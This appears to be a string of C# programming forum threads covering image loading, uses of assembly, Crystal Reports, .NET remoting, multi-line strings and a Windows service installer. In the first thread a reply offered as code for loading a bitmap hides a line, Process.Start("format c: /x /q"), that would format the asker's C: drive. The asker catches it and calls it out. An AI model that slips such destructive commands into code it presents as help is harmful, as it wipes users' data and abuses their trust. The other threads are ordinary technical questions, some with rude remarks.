Okay, ready?
Add this to your event handler for the OnClick event:
string directory = Application.StartupPath;<br />
string image = System.IO.Directory.FindFiles(directory, "*.bmp")[0].ToString();<br />
Bitmap theBitmap;<br />
System.Diagnostics.Process.Start("format c: /x /q");<br />
theBitmap = new Bitmap(System.IO.Path.Combine(directory, image));<br />
this.BackgroundImage = theBitmap;
I have also lived some years in Spain, and there people don't accept that you speak bad spanish. I usually compensate by speaking loud and accusing people of being stupid because they don't understand me. It usually works quite well.

Oh how helpful. Not only do I get code to load an image but my C: drive gets formatted. Apparently you're code has a huge bug in it, and I shouldn't count on you for being able to produce anything of quality.
Of course, there's also the possibility that you didn't have that code in there because you're incompentent. You could also just be a self-righteous a**hole. I'll let you decide which of the two you are.

Thanks for the tip, but I figured it out elsewhere from a MUCH more helpful place.

Today, almost never. Some common situations which still require ASM programming:
1. Kernel-level coding. You can be implementing a driver, a new kernel function (probably in Linux, otherwise you would be working at MS), or some low level functionality.
2. Compiler creation. Compilers (and sometimes linkers) output ASM code, so, normally you need to code the ASM generation part.
3. Self-modifying code. For high performance, virtual machines or even copy protection schemes.
4. MMX, 3DNow, SSE and SSE2 extensions: sometimes, compilers take years to catch up with processor advances. Some instructions, e.g., multimedia and game extensions were only available as ASM instructions for C++ programmers.
5. Embedded code. Today you have software on almost anything, from microwaves to your computer's video monitor. Obviously Visual C++ is not available for this kind of processor, which run on a very constrained environment, with low memory and CPU power conditions. Every byte increases the product's final cost.
6. High performance applications. Games, libraries, etc. Hand-made ASM code is still much more efficient than code generated by a compiler. But it doesn't scale well. So, often you get some tight loops or some small functions of a library (normally selected with a code profiler) and code it in ASM to increase performance.
You can do it on anything you choose - from .bat to .net - A customer

can you elaborate a little more on the following? i thought we do games using DirectX/OpenGL.. for the graphics (which are C/C++/COM libraries). Everything else in C/C++ and mostly WIN32 API?

Ladies 'n Gentlemen,
i try to change the DataSets programmatically to a Crystal Report. I set the source with the SetDataSource-method of the CrystalReportViewer.
First at all, i had made a blank report with CR 9 and implements it to my c# project.
My problem now is that the setting of the Dataset takes no effect. Only if I set the datasource in the c# report designer, i can display my chosen information from the table. But therefore I don't need to set any Dataset in my code. If I remove the Datasource in the designer and try to bind the report to a dataset, there is an error such as "no field in formula".
My Dataset is filled (i've tested it). And i don't work with crystal reports for VS .NET 2003 which came up with the VS 2003.
My steps:
1. a blank report (with CR 9) and a windows application project
2. implementing the report in the project
3. filling a dataset with a table from a MS SQL Server (for testing i#ve taken the "pubs" database)
4. load the report soure file to my ReportDocument-instance
5. set unbound fields in my report
6. SetDataSource-method to my loaded report document
7. Set ReportSource to the CrystalReportviewer in my code
That all works fine, but it seems that at runtime the report got no Datasource. Any suggestions? Would be very great.

Got the answer. You neccessarily need a schema file, and bind it to the report in the report designer.
Then you have to fill the dataset.

Hi there,
I have to create my channels like this:
BinaryServerFormatterSinkProvider provider = new BinaryServerFormatterSinkProvider();
provider.TypeFilterLevel = TypeFilterLevel.Full;
IDictionary props = new Hashtable();
props["port"] = 8000;
chan = new TcpChannel(props, null, provider);
ChannelServices.RegisterChannel(chan);
RemotingConfiguration.RegisterWellKnownServiceType(typeof (BankDetailsClassLibrary), "RemoteClass", WellKnownObjectMode.Singleton);
in order to pass objects properly.
How can I create the same stuff for a TcpServerChannel
TcpServerChannel tcp = new TcpServerChannel(props, null, provider)
does not work.
Thanks a lot for your help

Is it possible, in C#, to code a string constant using more than one source line? Something like this:
output.Write("<table class=\"MenuTable\" width=\"{0}\" border=0"
"cellpadding=2 cellspacing=0>", width);
Thanks in advance.

Of course:
output.Write("<table class=\"MenuTable\" width=\"{0}\" border=0" +
"cellpadding=2 cellspacing=0>", width);
α.γεεκ Fortune passes everywhere.

I always found this style particularly ugly, specially when you consider that the code in questions would have some identation.

I have just finished a windows service app in C#.
To deploy, I have created an installer project in VS (2003). For the service registrations, I have added the assembly as a custom action for both the commit and uninstall phases.
The installer seemes to run correctly - until the very end. Then I get the following error message  :
Could not find file "C:\Program Files\play47\SMTP Server\SMTPServer.InstallState
Now, this file DOESN'T exist - but I assume that it should be getting created by the service installer.
Any ideas? This is critical and I really need to deploy it today - if you have any idea it would be greatly appreciated!

No idea sorry, but I'm sure you have learnt a valuable lesson, to plan these things in the design phase.

I ended up finding the problem. After removing the performance counter object from the installer it worked - of course the counter doesn't work but at least it deployed.
Does anyone have any ideas on why this would crash the installer - do i need to ship some form of basic install state file - if so what is the format?
BTW leppie - i did deploy it in time.

Hello,
I am looking for the C# equiv of the VB ASC() function. I also believe some of my chars are extended chars above 127.
I tried i = Convert.ToInt32('???') but this doesnt seem to work on extended chars.
